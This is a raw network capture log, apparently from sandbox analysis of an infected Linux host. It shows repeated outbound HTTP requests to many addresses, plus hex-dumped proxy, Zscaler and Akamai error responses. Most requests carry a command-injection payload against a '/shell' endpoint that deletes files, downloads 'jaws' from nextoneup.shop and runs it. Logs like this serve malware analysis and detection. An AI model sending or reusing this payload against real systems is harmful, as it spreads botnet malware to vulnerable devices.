Apr 14, 2024 04:01:36.673016071 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:39Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2017	192.168.2.13	52600	203.251.86.68	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.694040060 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:38.184242010 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:39.944194078 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:43.528402090 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:50.696165085 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2018	192.168.2.13	50490	104.76.28.173	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.703500986 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:37.096184015 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:38.024197102 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:39.848176003 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:43.528189898 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:50.952142954 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2019	192.168.2.13	44760	154.95.185.195	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.712497950 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2020	192.168.2.13	40996	38.6.214.47	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.897003889 CEST	1	IN	Data Raw: 00 Data Ascii:
Apr 14, 2024 04:01:38.230797052 CEST	1	IN	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2021	192.168.2.13	60190	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.969820023 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:39Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2022	192.168.2.13	51522	122.170.108.4	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.974736929 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2023	192.168.2.13	60194	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.017190933 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:39Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2024	192.168.2.13	38712	209.200.111.176	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.299626112 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:37.478646040 CEST	1289	IN	HTTP/1.1 200 OK Content-Length: 4417 Connection: Close Cache-Control: no-cache Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 38 3b 20 49 45 3d 45 44 47 45 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 61 36 61 36 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 64 61 74 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 69 6d 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 75 72 6c 5d 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 36 32 36 32 36 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 2e 32 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 31 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 61 39 61 39 61 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 32 70 78 20 2e 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=8; IE=EDGE"> <meta name="viewport" content="width=device-width, initial-scale=1"> <style type="text/css"> body { height: 100%; font-family: Helvetica, Arial, sans-serif; color: #6a6a6a; margin: 0; display: flex; align-items: center; justify-content: center; } input[type=date], input[type=email], input[type=number], input[type=password], input[type=search], input[type=tel], input[type=text], input[type=time], input[type=url], select, textarea { color: #262626; vertical-align: baseline; margin: .2em; border-style: solid; border-width: 1px; border-color: #a9a9a9; background-color: #fff; box-sizing: border-box; padding: 2px .5em; appearance: none; b
Apr 14, 2024 04:01:37.478682995 CEST	1289	IN	Data Raw: 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f Data Ascii: order-radius: 0; } input:focus { border-color: #646464; box-shadow: 0 0 1px 0 #a2a2a2; outline: 0; } button { padding: .5em 1em;
Apr 14, 2024 04:01:37.478804111 CEST	1289	IN	Data Raw: 2c 30 2c 30 2c 2e 35 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 61 62 6c 65 20 3e 20 74 62 6f 64 79 20 3e 20 74 72 20 3e 20 74 64 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70 65 20 7b 0a 20 20 20 20 20 20 Data Ascii: ,0,0,.5); } table > tbody > tr > td:first-of-type { vertical-align: top; } table > tbody > tr > td { padding: .3em .3em; } .field {
Apr 14, 2024 04:01:37.478847027 CEST	752	IN	Data Raw: 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 65 78 74 2d 63 65 6e 74 65 72 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d Data Ascii: font-size: 1em; } .text-centered { text-align: center; } .text-container { margin: 1em 1.5em; } .flex-container { display

Session ID	Source IP	Source Port	Destination IP	Destination Port
2025	192.168.2.13	60234	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.328658104 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:40Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2026	192.168.2.13	53380	136.226.33.46	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.508769989 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:37.719937086 CEST	1289	IN	HTTP/1.1 403 Forbidden Content-Type: text/html Server: Zscaler/6.2 Cache-Control: no-cache Access-Control-Allow-Origin: * Content-length: 13748 Data Raw: 3c 21 2d 2d 23 20 49 64 3a 20 73 63 69 6e 74 65 72 6e 61 6c 2e 68 74 6d 6c 20 32 38 35 31 34 34 20 32 30 32 31 2d 30 36 2d 31 36 20 30 35 3a 30 32 3a 30 36 5a 20 73 7a 68 61 6e 67 20 2d 2d 3e 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5a 73 63 61 6c 65 72 20 6d 61 6b 65 73 20 74 68 65 20 69 6e 74 65 72 6e 65 74 20 73 61 66 65 20 66 6f 72 20 62 75 73 69 6e 65 73 73 65 73 20 62 79 20 70 72 6f 74 65 63 74 69 6e 67 20 74 68 65 69 72 20 65 6d 70 6c 6f 79 65 65 73 20 66 72 6f 6d 20 6d 61 6c 77 61 72 65 2c 20 76 69 72 75 73 65 73 2c 20 61 6e 64 20 6f 74 68 65 72 20 73 65 63 75 72 69 74 79 20 74 68 72 65 61 74 73 2e 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 74 69 74 6c 65 3e 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 62 79 20 5a 73 63 61 6c 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 76 61 72 20 64 65 66 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 3c 69 6d 67 20 61 6c 74 3d 22 5a 73 63 61 6c 65 72 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 7a 73 63 61 6c 65 72 74 65 6e 2e 6e 65 74 2f 69 6d 67 5f 6c 6f 67 6f 5f 6e 65 77 31 2e 70 6e 67 22 3e 2d 2d 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 33 65 33 65 33 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0a 63 6f 6c 6f 72 3a 23 34 42 34 46 35 34 3b 0a 7d 0a 61 20 7b 0a 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 0a 63 6f 6c 6f 72 3a 23 30 30 39 64 64 30 3b 0a 7d 0a 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 0a 7d 0a 74 64 20 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 7d 0a 69 6d 67 20 7b 0a 6d 61 78 2d 68 65 69 67 68 74 3a 37 35 70 78 3b 0a 6d 61 78 2d 77 69 64 74 68 3a 34 33 30 70 78 3b 0a 7d 0a 2e 70 67 20 7b 0a 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 0a 74 6f 70 3a 30 3b 0a 62 6f 74 74 6f 6d 3a 30 3b 0a 6c 65 66 74 3a 30 3b 0a 72 69 67 68 74 3a 30 3b 0a 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 3b 0a 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 0a 7d 0a 2e 70 67 3a 62 65 66 6f 72 65 20 7b 0a 63 6f 6e 74 65 6e 74 3a 22 22 3b 0a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 Data Ascii: ...# Id: scinternal.html 285144 2021-06-16 05:02:06Z szhang --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd"><html><head><meta name="description" content="Zscaler makes the internet safe for businesses by protecting their employees from malware, viruses, and other security threats."><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Internet Security by Zscaler</title><script language="JavaScript">var defLang = 'en_US'</script>...<img alt="Zscaler" src="https://login.zscalerten.net/img_logo_new1.png">--><style type="text/css">body {background-color:#e3e3e3;font-family:Arial, sans-serif;font-size:12px;color:#4B4F54;}a {cursor:pointer;text-decoration:none;color:#009dd0;}table {margin-top:10px;}td table {margin-top:0;text-align:center;}img {max-height:75px;max-width:430px;}.pg {position:absolute;top:0;bottom:0;left:0;right:0;overflow-x:hidden;white-space:nowrap;}.pg:before {content:"";display:inline-b
Apr 14, 2024 04:01:37.719954967 CEST	1289	IN	Data Raw: 6c 6f 63 6b 3b 0a 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 0a 7d 0a 2e 70 67 5f 63 6f 6e 74 20 7b 0a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 76 65 72 74 69 Data Ascii: lock;height:100%;vertical-align:middle;}.pg_cont {display:inline-block;vertical-align:middle;width:100%;position:relative;}.a_i {width:19px;height:19px;margin-right:10px;background-size: 19px 19px;display:inline-block;}.m_tbl

Session ID	Source IP	Source Port	Destination IP	Destination Port
2027	192.168.2.13	48902	23.39.138.2	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.529345036 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:37.762377024 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:37 GMT Date: Sun, 14 Apr 2024 02:01:37 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 65 30 36 32 63 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 39 37 26 23 34 36 3b 39 65 39 37 37 66 31 31 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 61 65 30 36 32 63 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 39 37 26 23 34 36 3b 39 65 39 37 37 66 31 31 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.ae062c17.1713060097.9e977f11<P>https://errors.edgesuite.net/9.ae062c17.1713060097.9e977f11</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2028	192.168.2.13	60618	104.76.80.18	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.603977919 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:38.000158072 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:38.920201063 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:40.776155949 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:44.552171946 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:51.976178885 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2029	192.168.2.13	57718	95.17.49.95	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:37.609586954 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
